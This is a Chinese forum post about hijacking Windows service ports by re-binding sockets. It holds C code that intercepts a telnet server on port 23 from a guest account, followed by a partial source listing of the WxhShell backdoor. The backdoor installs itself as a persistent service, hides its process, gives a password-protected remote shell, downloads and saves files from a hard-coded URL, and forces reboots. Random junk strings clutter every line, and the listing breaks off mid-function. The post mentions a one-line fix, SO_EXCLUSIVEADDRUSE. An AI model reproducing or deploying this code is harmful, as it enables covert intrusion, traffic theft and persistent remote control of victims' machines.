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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :o2^?k8k&#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |FR'?y1  
*8WcRx  
  saddr.sin_family = AF_INET; 1vy*u  
?;q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z`W @Od$f  
K6 {0`'x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W7sx/O9  
BAJEn6f?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #iZ%CY\  
|afzW=8'  
  这意味着什么?意味着可以进行如下的攻击: |Z"5zL10  
CH`_4UAX%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S8zc1!  
!yfQ^a_ O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;Wo\MN  
BLno/JK0}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7yp}*b{s  
Q\!0V@$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ME9jN{ le  
f0<'IgN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z }t{bm  
O<H5W|cM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Em(&cra  
s}O9[_v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @~Uu]1  
ne~=^IRB  
  #include BB>R=kt  
  #include cyQ&w>'  
  #include j;3hQOl  
  #include    L{2KK]IF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (,i&pgVZ  
  int main() 9:]w|lE:D  
  { 9"#,X36  
  WORD wVersionRequested; 2v;F@fUB.  
  DWORD ret; O< \i{4}}  
  WSADATA wsaData; IpRdGT02  
  BOOL val; Z0(}doh  
  SOCKADDR_IN saddr;  4dd]Ju  
  SOCKADDR_IN scaddr; 1pM"j!  
  int err; |KC!6<}T~9  
  SOCKET s; aj$#8l |zu  
  SOCKET sc; \?|FB~.Ry  
  int caddsize; BnB]]<gO"  
  HANDLE mt; pow.@  
  DWORD tid;   h"/y$  
  wVersionRequested = MAKEWORD( 2, 2 ); 5 wT e?  
  err = WSAStartup( wVersionRequested, &wsaData ); j3J\%7^i  
  if ( err != 0 ) { Q`ALyp,9b  
  printf("error!WSAStartup failed!\n"); Lwzk<+>w^  
  return -1; E&wz0d;gf  
  } gaIN]9wLm  
  saddr.sin_family = AF_INET; ??7c9l5,  
   :B(vk3;U!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1 po.Cmx  
_tJm0z!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \MY`R  
  saddr.sin_port = htons(23); P>i!f!o*I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VY@6!9G  
  { 6^'BhHP  
  printf("error!socket failed!\n"); A%zX LV=3O  
  return -1; |_Tp:][mf  
  } ~h<<-c  
  val = TRUE; *Bse3%-v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dpTeF`N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rZK;=\Ot  
  { (sfy14>\  
  printf("error!setsockopt failed!\n"); ZliJc7lss  
  return -1; XuY#EJbZ  
  } k|Syw ATr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W{1"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0?{Y6:d+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T"tR*2HwSd  
^_Ap?zn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3om_Z/k  
  { j$5S_]2  
  ret=GetLastError(); q9^6A90  
  printf("error!bind failed!\n"); \?VNr2   
  return -1; [2 yxTK  
  } .EXe3!J)!  
  listen(s,2); )yj:P  
  while(1) ?uBZ"^'  
  { 1e'Ez4*  
  caddsize = sizeof(scaddr); #3h~Z)+y  
  //接受连接请求 I8s%wY9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~:ldGfb|  
  if(sc!=INVALID_SOCKET) Bc!ZHW *&  
  { 6 #vc"5@M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _>LI[yf{  
  if(mt==NULL) dh~ cj5  
  { qIC9L"I  
  printf("Thread Creat Failed!\n"); cj5; XK  
  break; a(a 2xa  
  } 6M/*]jLq4  
  } \{RMj"w:  
  CloseHandle(mt); z5k9|.hgw  
  } &W|r P(  
  closesocket(s); bFv,.(h'  
  WSACleanup(); H ({Y  
  return 0; ^G*zFqa+`  
  }   3SMb#ce*o  
  DWORD WINAPI ClientThread(LPVOID lpParam) j/Dc';,d.(  
  { ]5_6m;g  
  SOCKET ss = (SOCKET)lpParam; -UMPt"o  
  SOCKET sc; 8e:\T.)M  
  unsigned char buf[4096]; D rMG{Yiu  
  SOCKADDR_IN saddr; l[cBDNlrC;  
  long num; bY>JLRQJ-  
  DWORD val; 1;Q>B>6  
  DWORD ret; )dMXn2O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :9=J=G*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nG+L'SmI  
  saddr.sin_family = AF_INET; F\H^=P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K~MTbdg  
  saddr.sin_port = htons(23); ,]\:]Y&?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /;K?Y#mf~j  
  { M }H7`,@I  
  printf("error!socket failed!\n"); }Efz+>F 02  
  return -1; `~.0PnHf  
  } $d +n},[C{  
  val = 100; Z ^w5x:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _Q $D6+  
  { +1] xmnts  
  ret = GetLastError(); YdT-E  
  return -1; 9tt0_*UX  
  } \!_:<"nX.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,M)NC%0X  
  { 51Nh"JTy  
  ret = GetLastError(); 1q&gTvIp  
  return -1; Rw R.*?#  
  } potb6jc?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6$l6>A  
  { :M%s:,]R  
  printf("error!socket connect failed!\n"); G ]T A7~VT  
  closesocket(sc); N)0I+>, ^  
  closesocket(ss); 8r 4 L4  
  return -1; !N:: 1c@C  
  } <> &!+|#  
  while(1) 7fB:wPlG;  
  { }&o*ZY-1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 CL U[')H0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q%AD6G(7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DJF-J#  
  num = recv(ss,buf,4096,0); wW1E 'Vy{  
  if(num>0) NVFgRJ&  
  send(sc,buf,num,0); o#IQz_  
  else if(num==0) 6}vPwI  
  break; SAa hkX  
  num = recv(sc,buf,4096,0); zg3q\ ~  
  if(num>0) <^Hh5kfS'  
  send(ss,buf,num,0); r|bvpZV  
  else if(num==0) @Lj28&4:<  
  break; $jDp ^ -  
  } A#"AqNVWv  
  closesocket(ss); pFu3FUO*;  
  closesocket(sc); p:,(r{*?  
  return 0 ; mST/u>'  
  } -9 AI@^q  
D:uBr|('  
@'K+   
========================================================== FL 5tIfV+  
Y^?J3[@  
下边附上一个代码,,WXhSHELL *(~=L%s  
GUe&WW:Sqk  
========================================================== Mb I';Mq  
>,8DwNuq  
#include "stdafx.h" wec |~Rc-  
@Y#{[@Hp%  
#include <stdio.h> vM}oxhQ$n  
#include <string.h> &k5 Z|d|  
#include <windows.h>  LWb5C{  
#include <winsock2.h> az(u=}  
#include <winsvc.h> /CtR|~wL  
#include <urlmon.h> |WiK*  
crJyk#_  
#pragma comment (lib, "Ws2_32.lib") BO b#9r  
#pragma comment (lib, "urlmon.lib") lW,rzJ1  
Q<y&*o3YF|  
#define MAX_USER   100 // 最大客户端连接数 .1yp}&e#  
#define BUF_SOCK   200 // sock buffer =NH p%|  
#define KEY_BUFF   255 // 输入 buffer a& Ti44a[  
dpO ZqhRs.  
#define REBOOT     0   // 重启 zkdyfl5  
#define SHUTDOWN   1   // 关机 N U*6MT4  
CL*i,9:NR  
#define DEF_PORT   5000 // 监听端口 -Fodqq@,  
K h}Oiw  
#define REG_LEN     16   // 注册表键长度 CQo<}}-o  
#define SVC_LEN     80   // NT服务名长度 :[iWl8  
?~e 8:/@  
// 从dll定义API 1/Pou)D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @)>9l&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t)n!];  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A0SEzX({[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~+{OSx<S  
C@` eYi  
// wxhshell配置信息 Uhc2`r#q  
struct WSCFG { \v7M`! &  
  int ws_port;         // 监听端口 x4cP%{n  
  char ws_passstr[REG_LEN]; // 口令 swvn*xr  
  int ws_autoins;       // 安装标记, 1=yes 0=no vMsb@@O\\  
  char ws_regname[REG_LEN]; // 注册表键名 [q/=%8qLUA  
  char ws_svcname[REG_LEN]; // 服务名 I| qoHN,g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AF4:v<EN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )W!8,e+%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gb6t`dSzz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2T &<jt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oagxTFh8~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  9x/HQ(1  
9FT;?~,  
}; cB U,!  
XSkN9LqZ  
// default Wxhshell configuration "8wRx Dr+  
struct WSCFG wscfg={DEF_PORT, C2;qSKG3{m  
    "xuhuanlingzhe", ^w.x~#zI  
    1, SF2A?L?}+  
    "Wxhshell",  $j*j {}K  
    "Wxhshell", )cnB>Qul  
            "WxhShell Service", $d M: 5y  
    "Wrsky Windows CmdShell Service", 6LRI~*F=3  
    "Please Input Your Password: ", &B\tcF  
  1, 7pDov@K<{  
  "http://www.wrsky.com/wxhshell.exe", L;=:OX 0  
  "Wxhshell.exe" /238pg~Cw5  
    }; sw{,l"]<  
[6Y6{.%~  
// 消息定义模块 %"~\Pu*>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \x i wp.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GUJ[2/V~A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &K5wCNX1  
char *msg_ws_ext="\n\rExit."; Bi9b"*LN  
char *msg_ws_end="\n\rQuit."; r- 0BLq]~{  
char *msg_ws_boot="\n\rReboot..."; "h'0&ZP~_  
char *msg_ws_poff="\n\rShutdown..."; /w0l7N  
char *msg_ws_down="\n\rSave to "; (SV(L~ T_  
$e#p -z  
char *msg_ws_err="\n\rErr!"; Kl<qp7o0  
char *msg_ws_ok="\n\rOK!"; l$D]*_ jc,  
Xxcv 5.ug  
char ExeFile[MAX_PATH]; }I;A\K]  
int nUser = 0; 6]^; s1!  
HANDLE handles[MAX_USER]; %m]9";   
int OsIsNt; ;o]'7qGb  
6>ZUx}vYj  
SERVICE_STATUS       serviceStatus; dxbP'2~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~TC z1UWV  
f^il|Obzl  
// 函数声明 tL(B gku9  
int Install(void); E+Z//)1Z  
int Uninstall(void); Jr m<u t  
int DownloadFile(char *sURL, SOCKET wsh); O1IR+"0  
int Boot(int flag); k L2(M6m  
void HideProc(void); Reca5r1O  
int GetOsVer(void); VH7VJ [  
int Wxhshell(SOCKET wsl); O, 6U pk  
void TalkWithClient(void *cs);  $6w[h7  
int CmdShell(SOCKET sock); GFasGHAw  
int StartFromService(void); P]:r'^Yn  
int StartWxhshell(LPSTR lpCmdLine); Ijq1ns_tx8  
@Y+YN;57  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P3 se"pP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &3l g\&"  
=zBcfFii`w  
// 数据结构和表定义 22S4q`j  
SERVICE_TABLE_ENTRY DispatchTable[] = 57IAH$n8o  
{ <RY5ZP  
{wscfg.ws_svcname, NTServiceMain}, r# MJ  
{NULL, NULL} 3a #2 }  
}; `oP :F[B  
V8ka*VJ(B  
// 自我安装 .w3.zZ0[  
int Install(void) tZmo= 3+:  
{ q15t7-Z6  
  char svExeFile[MAX_PATH]; 9,\b$?9  
  HKEY key; ]TQ2PVN2  
  strcpy(svExeFile,ExeFile); j*@^O`^v  
t%Hg8oya  
// 如果是win9x系统,修改注册表设为自启动 OW1i{  
if(!OsIsNt) { O@r%G0Jge  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zyxr#:Qm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r'xZF~}k"~  
  RegCloseKey(key); c?B@XIl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '<_nL8A^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b,"gBg  
  RegCloseKey(key); = TKu2  
  return 0; `s93P^%  
    }  (c;F%m|  
  } KdI X`  
} | Qo`K%8  
else { ZGgKCCt  
QcJ?1GwA"  
// 如果是NT以上系统,安装为系统服务 l"^'uGB'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u;p.:{'  
if (schSCManager!=0) P34UD:  
{ x0 1n  
  SC_HANDLE schService = CreateService ^`>,~$Q  
  ( #DK@&Gv  
  schSCManager, CY~]lQ  
  wscfg.ws_svcname, As0E'n85  
  wscfg.ws_svcdisp, U;QTA8|!&  
  SERVICE_ALL_ACCESS, wdg,dk9e$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _'DT)%K  
  SERVICE_AUTO_START, =@(&xfTC  
  SERVICE_ERROR_NORMAL, " &2Kvsz  
  svExeFile, {a aI<u  
  NULL, )D'SfNx#{  
  NULL, -7E)u  
  NULL, hG~4i:p <  
  NULL, pu#h:nb>88  
  NULL buV {O[  
  ); Xc"l')1H  
  if (schService!=0) kT6h}d^/^  
  { D5lzrpg_e  
  CloseServiceHandle(schService); 8R?X$=$]!.  
  CloseServiceHandle(schSCManager); O[%"zO"S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ILi{5L  
  strcat(svExeFile,wscfg.ws_svcname); :[![9JS/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \Ps}1)wT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UrtA]pc3L  
  RegCloseKey(key); %N5gQXg  
  return 0; B(tLV9B3Q  
    } cbe&SxJ  
  } >YG1sMV-J  
  CloseServiceHandle(schSCManager); a#3+PB #  
} @bs YJ4-V  
} A|jmp~@K)+  
-u)f@e  
return 1; ~,#zdm1r@  
} SURbH;[   
BK>3rjXi>a  
// 自我卸载 U\OfB'Dn  
int Uninstall(void) D{'>G@nLQ  
{ a,eR'L<"*-  
  HKEY key; ^a+W!  
9$ GA s  
if(!OsIsNt) { wJ.?u]f@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Af25Mcf:  
  RegDeleteValue(key,wscfg.ws_regname); pO]{Y?X:  
  RegCloseKey(key); yFt$L'#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ot,_=PP  
  RegDeleteValue(key,wscfg.ws_regname); ~x67v+I  
  RegCloseKey(key); O*qSc^9q  
  return 0; KWuc*!  
  } 'v|R' wi\  
} GFA D  
} wY$'KmNW  
else { }jL_/gvgy  
Sr$&]R]^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H]]UsY`  
if (schSCManager!=0) :vsBobiJ  
{ Z\1*g k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /NE<?t N  
  if (schService!=0) Q4~/Tl;  
  { <V`1?9c7D1  
  if(DeleteService(schService)!=0) { +V2\hq[{  
  CloseServiceHandle(schService); i^<P@ |q  
  CloseServiceHandle(schSCManager); ;dC>$_P?  
  return 0; cx+w_D9b!  
  } RC[mpR ;2  
  CloseServiceHandle(schService); :A,g:B  
  } yM_ta '^$  
  CloseServiceHandle(schSCManager); dSdP]50M  
} v@xbur\L  
} )># Y,/q  
v8{ jEAK  
return 1;  !' }  
} OEZ`5"j  
DJWm7 t  
// 从指定url下载文件 *|Bu7nwg  
int DownloadFile(char *sURL, SOCKET wsh) f0^;*Y  
{ 'R-Ly^:Qd  
  HRESULT hr; E \p Qh  
char seps[]= "/"; # 1,"^k^  
char *token; \OzPDN  
char *file; kzkrvC+u  
char myURL[MAX_PATH]; 4J~ZZ  
char myFILE[MAX_PATH]; {fd/:B 7T  
P0mY/bBU  
strcpy(myURL,sURL); cr wui8  
  token=strtok(myURL,seps); pq T+lai)#  
  while(token!=NULL) yG v7^d  
  { w4AA4u  
    file=token; V(6*wQ`&  
  token=strtok(NULL,seps); /r8'stRzv  
  } Q  *]d[  
>b1#dEY  
GetCurrentDirectory(MAX_PATH,myFILE); _ArN[]Z  
strcat(myFILE, "\\"); Tr6J+hS  
strcat(myFILE, file); vC [uEx:  
  send(wsh,myFILE,strlen(myFILE),0); R(^2+mV?  
send(wsh,"...",3,0); On`T pz/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ELvP<Ny}  
  if(hr==S_OK) qN=l$_UD  
return 0; q,Nhfo(  
else 39yp1  
return 1; gs:V4$(p4  
X]1Q# $b  
} :>q*#vlb  
i"_@iN0N  
// 系统电源模块 f, iHM  
int Boot(int flag) zbL8 pp  
{ 6 3NhD  
  HANDLE hToken; /19ZyQw9  
  TOKEN_PRIVILEGES tkp; \*+-Bm:$j  
yQ03&{#  
  if(OsIsNt) { F,.dC&B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w=Yc(Y:h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +7V4mF!u  
    tkp.PrivilegeCount = 1; Chs#}=gzi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2R`dyg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !7>~=n_,L.  
if(flag==REBOOT) { MXP3Z N'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \' Z^rjB  
  return 0; *dpKo&y  
} bm\Zp  
else { ]n 'FD|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8q/3}AnI  
  return 0; uLq%Nu  
} w|G4c^KH  
  } cYx.<b JH  
  else { z#u<]] 5  
if(flag==REBOOT) { "Nh}_jO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xsERnF>`  
  return 0; (Wu J9  
} 0K:3?Ik  
else { mM;5UPbZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zf.&E3Sn  
  return 0; '\wZKY VN  
} rk)h_zN  
} 2_C&p6VGj  
n1Fp$9%  
return 1; mGC!7^_D`  
} -oMp@2\e  
tg"NWp6  
// win9x进程隐藏模块 @UwDsx&2(t  
void HideProc(void) /DxeG'O  
{ D=_FrEM_IA  
\sc's7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u d$*/ )/  
  if ( hKernel != NULL ) ~\o hH  
  { O!ngQrI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /s[D[:P_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j= vlsW  
    FreeLibrary(hKernel); zi?G wh~  
  } uD8,E!\  
\Pt_5.bTs[  
return; <c_'(   
} Xo/0lT  
i}e4P>ADD  
// 获取操作系统版本 Uy;e5<<  
int GetOsVer(void) BWev(SF{Ny  
{ )9~-^V0A^>  
  OSVERSIONINFO winfo; )ad6>Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 17) `CM$<[  
  GetVersionEx(&winfo); ){FXonVP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]MaD7q>+R  
  return 1; mNdEn<W  
  else Yu e#  
  return 0; IRY/0v  
} -esq]c%3  
P+(q38f[  
// 客户端句柄模块 m5kt O^EU  
int Wxhshell(SOCKET wsl) @3WI7q4  
{ b6ui&Y8z  
  SOCKET wsh; ]`T*}$|  
  struct sockaddr_in client; ?D9>N'yH8  
  DWORD myID; k35E,?T  
WX}pBmU  
  while(nUser<MAX_USER) /PTk296@  
{ z8*{i]j  
  int nSize=sizeof(client); mgI7zJX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E0_S+`o2y  
  if(wsh==INVALID_SOCKET) return 1; .EdQ]c-E=  
Q/y"W,H#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?8TIPz J  
if(handles[nUser]==0) AB[#  
  closesocket(wsh); c7f11N!v>b  
else ~F^7L5d}C  
  nUser++; c^ W \0  
  } lL6W:Fq@(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #8sv*8&  
< NlL,  
  return 0; k:* (..!0z  
} Cs?[   
@78%6KZ`i  
// 关闭 socket -0:Equ?pz  
void CloseIt(SOCKET wsh) dvPlKLp  
{ U%H6jVE  
closesocket(wsh); a~Nh6 x  
nUser--; 2x<4&^  
ExitThread(0); D !5 {CQl  
} ^rssZQKY[  
rls\3 R(jt  
// 客户端请求句柄 b5t:" >wC  
void TalkWithClient(void *cs) U_61y;Q"  
{ < +X,oxg  
:WHbwu,L$  
  SOCKET wsh=(SOCKET)cs; >A ?{cbJ  
  char pwd[SVC_LEN]; PsCr[\Ul  
  char cmd[KEY_BUFF]; {/}p"(^  
char chr[1]; <MzXTy3\  
int i,j; a1 .+L  
&)GlLpaT  
  while (nUser < MAX_USER) { mz?1J4rt  
KGNBzy~9  
if(wscfg.ws_passstr) { ;'P<#hM[$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y2>0Y3yM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _>4Qh#6K  
  //ZeroMemory(pwd,KEY_BUFF); xXfFi5Eom  
      i=0; ~?<VT k  
  while(i<SVC_LEN) { U8GvUysB!  
I_3{i`g  
  // 设置超时 z\r29IRh  
  fd_set FdRead; ew 4pAav  
  struct timeval TimeOut; n2;Vrs,<1&  
  FD_ZERO(&FdRead); yYn7y1B  
  FD_SET(wsh,&FdRead); +MvO+\/  
  TimeOut.tv_sec=8; #B &%Y6E5  
  TimeOut.tv_usec=0; v%!'vhf_K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -,^Z5N#\|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `PI?RU[g*  
L2{b~`UvP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zIy&gOX  
  pwd=chr[0]; ZZJ<JdD  
  if(chr[0]==0xd || chr[0]==0xa) { "d c- !  
  pwd=0; MHF7hk ps}  
  break; b_>x;5k  
  } C[Nh>V7=  
  i++; 1CA% nqlng  
    } ;QqC c!b  
Bl/Z _@  
  // 如果是非法用户,关闭 socket 9 gWqs'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;Wedj\Kkp  
} h}yfL@  
z\+Ug9Of  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uE-|]QQo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %WAaoR&u  
dj5@9X  
while(1) { N%fDgK  
'A)9h7k}  
  ZeroMemory(cmd,KEY_BUFF); -AZ\u\xCB  
<(W:Q3?s  
      // 自动支持客户端 telnet标准   (%SKTM  
  j=0; c%5Suu( J6  
  while(j<KEY_BUFF) { Gc2:^FVlh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NXSjN~aG2  
  cmd[j]=chr[0]; A!IZIT5)m  
  if(chr[0]==0xa || chr[0]==0xd) { Fb<fQIa  
  cmd[j]=0; }Wz[ox9b  
  break; Ob@HzXH  
  } eoxEnCU  
  j++; Z:.*fs5  
    } yt1dYF0Xq  
h4N&Yb fo  
  // 下载文件 .'zcD^  
  if(strstr(cmd,"http://")) { Fr)6<9%xVm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 21 N!?DR  
  if(DownloadFile(cmd,wsh)) rL|9Xru  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y_{fc$_&  
  else $mcq/W   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LZ z]4Mf  
  } YWhp4`m  
  else { O ~D]C  
k]~|!`  
    switch(cmd[0]) { ^EcwY- Qr  
  gIY]hC.  
  // 帮助 g [c ^7  
  case '?': { 5~{s-Ms  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U~O*9  
    break; /kNSB;  
  } h=ben&m  
  // 安装 XU6SYC"t%~  
  case 'i': { 1R"Z+tNB  
    if(Install()) Oj#/R?%,X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]:svR@E  
    else W3w$nV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v%;Ny ab6$  
    break; y;=/S?L.:  
    } T0"q,lrdxV  
  // 卸载 8XD_p);Oy  
  case 'r': { 2 sK\.yS  
    if(Uninstall()) J Mm'JK?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vu;z|L  
    else cHX~-:KOr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >;+q,U}  
    break; #PQhgli  
    } T[%@B"  
  // 显示 wxhshell 所在路径 zszx~LSvIT  
  case 'p': { vQmqYyOc2  
    char svExeFile[MAX_PATH]; :Hj #1-U  
    strcpy(svExeFile,"\n\r"); `gz/?q  
      strcat(svExeFile,ExeFile); kerBy\^  
        send(wsh,svExeFile,strlen(svExeFile),0); b}J,&eYD  
    break; $PFE>=nM  
    } rT';7>{g  
  // 重启 EM!9_8 f  
  case 'b': { ? u~?:a@K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0X4I-xx#  
    if(Boot(REBOOT)) TV~S#yg+H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U:uF rb,  
    else { Ao$|`Lgj=z  
    closesocket(wsh); RL b o  
    ExitThread(0); PG@6*E  
    } }NKnV3G/Z  
